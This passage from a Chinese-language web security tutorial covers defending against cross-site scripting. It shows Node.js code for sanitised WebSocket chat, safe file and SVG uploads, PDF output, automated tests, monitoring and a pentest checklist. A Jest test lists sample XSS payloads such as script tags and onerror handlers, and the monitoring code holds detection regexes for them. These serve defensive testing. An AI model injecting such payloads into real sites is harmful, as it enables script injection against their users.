7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// 服务端
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', (ws, req) => {
// 验证来源
const origin = req.headers.origin;
if (origin !== 'https://trusted-site.com') {
ws.close();
return;
}

ws.on('message', (message) => {
try {
const data = JSON.parse(message);

// 验证和净化输入
if (typeof data.content !== 'string' || data.content.length > 1000) {
ws.send(JSON.stringify({ error: '无效的消息' }));
return;
}

// 净化内容
const cleanContent = DOMPurify.sanitize(data.content);

// 广播给其他客户端
wss.clients.forEach(client => {
if (client.readyState === WebSocket.OPEN) {
client.send(JSON.stringify({
username: escapeHtml(data.username),
content: cleanContent
}));
}
});
} catch (err) {
ws.send(JSON.stringify({ error: '消息格式错误' }));
}
});
});

// 客户端
const ws = new WebSocket('wss://example.com:8080');

ws.onmessage = (event) => {
const data = JSON.parse(event.data);

// 安全显示消息
const messageDiv = document.createElement('div');
messageDiv.textContent = `${data.username}: ${data.content}`;
document.getElementById('messages').appendChild(messageDiv);
};

// 发送消息
function sendMessage(content) {
ws.send(JSON.stringify({
username: currentUser.username,
content: content
}));
}

3. 文件上传安全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
const multer = require('multer');
const path = require('path');

// 配置multer
const storage = multer.diskStorage({
destination: './uploads/',
filename: function(req, file, cb) {
// 使用随机文件名,避免路径遍历
const uniqueName = Date.now() + '-' + Math.random().toString(36).substr(2, 9);
const ext = path.extname(file.originalname);
cb(null, uniqueName + ext);
}
});

const upload = multer({
storage: storage,
limits: {
fileSize: 5 * 1024 * 1024 // 5MB
},
fileFilter: function(req, file, cb) {
// 白名单验证文件类型
const allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];

if (!allowedTypes.includes(file.mimetype)) {
return cb(new Error('不支持的文件类型'));
}

// 验证文件扩展名
const allowedExts = ['.jpg', '.jpeg', '.png', '.gif'];
const ext = path.extname(file.originalname).toLowerCase();

if (!allowedExts.includes(ext)) {
return cb(new Error('不支持的文件扩展名'));
}

cb(null, true);
}
});

app.post('/upload', upload.single('image'), (req, res) => {
if (!req.file) {
return res.status(400).json({ error: '请选择文件' });
}

// 返回安全的文件URL
const safeFilename = path.basename(req.file.path);
res.json({
success: true,
url: `/uploads/${safeFilename}`
});
});

// 提供文件下载时设置正确的Content-Type
app.get('/uploads/:filename', (req, res) => {
const filename = path.basename(req.params.filename); // 防止路径遍历
const filepath = path.join(__dirname, 'uploads', filename);

// 设置Content-Type和Content-Disposition
res.setHeader('Content-Type', 'application/octet-stream');
res.setHeader('Content-Disposition', `attachment; filename="${filename}"`);
res.setHeader('X-Content-Type-Options', 'nosniff');

res.sendFile(filepath);
});

4. SVG文件安全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const DOMPurify = require('isomorphic-dompurify');

function sanitizeSVG(svgContent) {
return DOMPurify.sanitize(svgContent, {
USE_PROFILES: { svg: true, svgFilters: true },
ADD_TAGS: ['use'], // 如果需要
FORBID_TAGS: ['script', 'foreignObject'],
FORBID_ATTR: ['onload', 'onerror', 'onclick']
});
}

// 上传SVG时
app.post('/upload-svg', upload.single('svg'), (req, res) => {
const fs = require('fs');
const svgContent = fs.readFileSync(req.file.path, 'utf8');

// 净化SVG
const cleanSVG = sanitizeSVG(svgContent);

// 保存净化后的SVG
fs.writeFileSync(req.file.path, cleanSVG);

res.json({ success: true });
});

5. PDF生成安全

1
2
3
4
5
6
7
8
9
10
11
12
13
const PDFDocument = require('pdfkit');

function generatePDF(userData) {
const doc = new PDFDocument();

// 不要直接使用用户输入作为HTML
// 使用PDF库的文本方法,它会自动转义
doc.fontSize(20).text('用户信息', { underline: true });
doc.fontSize(12).text(`姓名: ${userData.name}`);
doc.fontSize(12).text(`邮箱: ${userData.email}`);

return doc;
}

八、安全测试与监控

1. 自动化安全测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Jest测试示例
describe('XSS Protection Tests', () => {
const xssPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'javascript:alert("XSS")',
'<svg onload=alert("XSS")>',
'"><script>alert("XSS")</script>',
'\'; alert("XSS"); //',
];

test('应该转义HTML特殊字符', () => {
xssPayloads.forEach(payload => {
const escaped = escapeHtml(payload);
expect(escaped).not.toContain('<script');
expect(escaped).not.toContain('onerror=');
expect(escaped).not.toContain('javascript:');
});
});

test('应该拒绝危险的用户输入', () => {
xssPayloads.forEach(payload => {
expect(() => validateInput(payload)).toThrow();
});
});

test('textContent应该安全显示内容', () => {
const div = document.createElement('div');
div.textContent = '<script>alert("XSS")</script>';

expect(div.innerHTML).toBe('&lt;script&gt;alert("XSS")&lt;/script&gt;');
});
});

2. 安全监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// 日志记录可疑活动
function logSuspiciousActivity(req, payload) {
const suspiciousPatterns = [
/<script/i,
/javascript:/i,
/on\w+=/i,
/<iframe/i,
/eval\(/i
];

for (let pattern of suspiciousPatterns) {
if (pattern.test(payload)) {
console.warn('检测到可疑的XSS尝试:', {
ip: req.ip,
userAgent: req.headers['user-agent'],
payload: payload.substring(0, 100),
timestamp: new Date().toISOString(),
url: req.originalUrl
});

// 可以发送告警
sendSecurityAlert({
type: 'XSS_ATTEMPT',
details: {
ip: req.ip,
payload: payload
}
});

return true;
}
}

return false;
}

// 在中间件中使用
app.use((req, res, next) => {
// 检查所有输入
const inputs = [
...Object.values(req.query),
...Object.values(req.body),
req.headers.referer,
req.headers['user-agent']
];

inputs.forEach(input => {
if (typeof input === 'string') {
logSuspiciousActivity(req, input);
}
});

next();
});

3. 渗透测试清单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
XSS测试清单:

□ 所有输入点已测试(URL参数、表单、HTTP头)
□ 测试了所有输出上下文(HTML、JavaScript、CSS、URL)
□ 测试了存储型XSS(评论、个人资料、文件上传)
□ 测试了反射型XSS(搜索、错误消息、重定向)
□ 测试了DOM型XSS(客户端JavaScript处理)
□ 测试了富文本编辑器
□ 测试了文件上传(SVG、HTML、XML)
□ 尝试了编码绕过(HTML实体、Unicode、Base64)
□ 尝试了标签属性注入
□ 尝试了JavaScript上下文注入
□ 测试了CSP绕过
□ 测试了过滤器绕过
□ 检查了第三方库的XSS漏洞
□ 验证了HttpOnly Cookie设置
□ 检查了安全响应头

九、总结与最佳实践

核心防御原则

  1. 永远不要信任用户输入 - 所有输入都应被视为潜在的恶意代码
  2. 输出编码是关键 - 根据上下文使用正确的编码方式
  3. 纵深防御 - 多层安全机制,不依赖单一防御
  4. 最小权限原则 - Cookie设置HttpOnly,使用CSP限制脚本执行
  5. 使用安全框架 - 利用现代框架的内置保护

快速检查清单

输出编码

  • HTML上下文:使用htmlspecialchars()escapeHtml()
  • JavaScript上下文:使用JSON.stringify()或escapeJs()
  • URL上下文:使用encodeURIComponent()
  • CSS上下文:使用escapeCss()

输入验证

  • 使用白名单而非黑名单
  • 限制长度和格式
  • 验证数据类型

安全配置

  • 配置CSP策略
  • Cookie设置HttpOnly、Secure、SameSite
  • 设置X-Content-Type-Options: nosniff
  • 设置X-Frame-Options: DENY

代码实践

  • 使用textContent而非innerHTML
  • 避免eval()Function()document.write()
  • 使用参数化查询防止SQL注入
  • 对富文本使用白名单净化

框架使用

  • React/Vue/Angular自动转义
  • 谨慎使用dangerouslySetInnerHTML/v-html
  • 使用DOMPurify净化HTML

XSS防御是一个持续的过程,需要开发团队的安全意识、代码审查、自动化测试和定期的安全评估。记住:输出编码是最有效的防御,结合CSP和其他安全措施可以构建强大的防御体系。